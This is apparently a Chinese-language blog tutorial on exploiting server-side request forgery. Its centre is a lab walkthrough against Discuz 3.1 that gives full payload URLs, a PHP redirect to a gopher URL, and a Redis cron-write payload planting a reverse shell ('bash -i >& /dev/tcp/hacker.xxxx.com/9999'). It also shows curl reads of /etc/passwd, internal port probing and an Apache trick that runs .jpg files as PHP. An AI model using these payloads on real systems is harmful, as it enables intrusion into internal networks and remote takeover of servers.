SSRF漏洞利用與getshell實戰(精選)

  • 2019 年 10 月 6 日
  • 筆記

什麼是SSRF?

SSRF(Server-Side Request Forgery,服務器端請求偽造)是一種由攻擊者構造請求,利用服務器端發起的安全漏洞。一般情況下,SSRF攻擊的目標是外網無法訪問的內部系統(正因為請求是由服務器端發起的,所以服務器能請求到與自身相連而外網隔離的內部系統)。

Example:

GET /index.php?url=http://google.com/ HTTP/1.1

Host: example.com

在這裡,http://example.com從它的服務器獲取http://google.com

0X00 SSRF的類型

1. 顯示攻擊者的響應(Basic)

2. 不顯示響應(Blind)

0X01 什麼地方最容易出現SSRF

  1. 雲服務器商。(各種網站數據庫操作)
  2. 有遠程圖片加載的地方。(編輯器之類的有遠程圖片加載啊)
  3. 網站採集、網頁抓取的地方。(很多網站會有新聞採集輸入url然後一鍵採集)
  4. 頭像的地方。(某易就喜歡遠程加載頭像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
  5. 最後一個一切要你輸入網址的地方和可以輸入ip的都放,都是ssrf的天下。

0X02 SSRF漏洞的危害

  1. 對服務器所在的內網進行端口掃描,獲取一些服務的banner信息等
  2. 攻擊運行在內網或者本地的應用程序
  3. 對內網WEB應用進行指紋識別,通過訪問默認文件實現(Readme等文件)
  4. 攻擊內外網的WEB應用,主要是GET就可以實現的攻擊(比如Struts2,SQL注入等)
  5. 下載內網資源(利用file協議讀取本地文件等)
  6. 利用Redis未授權訪問,HTTP CRLF注入達到getshell
  7. wooyun峰會豬豬俠的ppt
  8. 進行跳板
  9. 無視cdn

0X03 SSRF神器Curl的使用

查看curl支持的協議列表 #curl–config –protocols

  • 使用curl讀取文件 curl -v file:///etc/passwd
  • 使用ftp協議 curl -v "ftp://127.0.0.1:6666/info"
  • 使用dict協議 curl -v "dict://127.0.0.1:6666/info"
  • 使用gopher協議 curl -v "gopher://127.0.0.1:6666/_info"

0X04最常用的跳轉繞過

0X05 Python+SSRF實現端口掃描

簡單的端口掃描

同時觀察Wireshark整個掃描流程

代碼實現:

驗證本地是否開啟了相應的端口

Python代碼編寫的思路:

端口存在連接會一直在連接,連接時間會很長。

端口不存在的連接會被立馬刷新

0X06 利用Discuz的SSRF漏洞GetShell

Discuz無條件限制ssrf漏洞(<=3.1測試是有這個漏洞)

實驗環境:

172.28.100.109 為Discuz 3.1(Win10),172.28.100.108為Redis服務器(CentOS),hacker.xxxx.com為公網測試服務器主要存放ssrf用的php文件

Discuz3.1下載地址:

http://www.comsenz.com/downloads/install/discuzx#down_open

示例:

/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=dict%26ip=172.28.100.108%26port=6666%26data=hello.jpg[/img]

實際使用payload:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

  • 利用nc來測試SSRF漏洞

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://172.28.100.108:6666/?data=root.jpg[/img]

tcpdump抓包看到Discuz發來的數據包

nc也有反應了

基本可以確認這裡是有SSRF漏洞

使用header 來配合ssrf漏洞利用,在我公網服務器放了一個ssrf.php

<?php

header("Location: ftp://172.28.100.108:6666/info");

?>

這裡我是通過傳參的方式,方便測試時候修改參數,代碼如下:

PAYLOAD:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

同樣nc也接受到了數據,測試時候發現ftp協議比http要快一些

KALI機器打開socat端口轉發(-v參數可以將轉發過程的日誌記錄打印出來)

socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379

連接SSRF腳本

#注意centos和ubuntu系統的計劃任務有些不一樣,centos默認在/var/spool/cron/root,ubuntu默認是在/etc/crontab

執行成功

第四步能執行成功的前提必須目標目錄有寫權限

到redis服務器的上查看/var/spool/cron目錄下已經創建了root文件內容為*/1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1

將socat的輸出信息保存為1.txt,上傳到公網服務器上

使用Python腳本轉換為gopher支持的格式

注意最後要檢查一下格式是否完整:*/1 * * * * bash -i >& /dev/tcp/hacker.xxx.com/99990>&1

新建gohper.php文件放到我自己的雲服務器的網站根目錄上,當Discuz訪問gohper.php文件時候就會跳轉302跳轉使用gohper協議訪問內部redis服務器

標準格式示例:

<?php

header("Location: gopher://172.28.100.108:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/hacker.xxxx.com/9999 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a");

?>

目標機器SSRF漏洞的利用

過程中使用Wireshark抓包觀察過程

目標redis服務器上發現計劃任務已經生效了,如果這裡有亂碼,請翻倒文章底部有解決方案

目標Redis的shell已經發給我的服務器了

0X07 簡單的繞過SSRF圖片的限制

Apache配置/etc/apache2/sites-enabled/新建一個apache的配置文件123.conf

AddHandler application/x-httpd-php .php

這樣apache就會把jpg也當作php解析;如果我們遇到限制了jpg後綴的ssrf漏洞就可以利用該方法,同理如果限制了txt的話。我們在apache設置把txt當作php解析即可。

將文件名命名為1.php.jpg即可訪問

也可以這樣寫AddHandler application/x-httpd-php .jpg

0X08 可能遇到的問題

以下問題是因為我用的linux上vim編輯器導致的,後使用Sublime編輯器解決了亂碼問題

0X09 常用挖掘SSRF漏洞的工具

  • 利用F12,查看網站的網絡請求
  • 利用GoogleHacking,如site:www.baidu.com,然後查找網站是否有關於url的遠程調用

作者:WHITE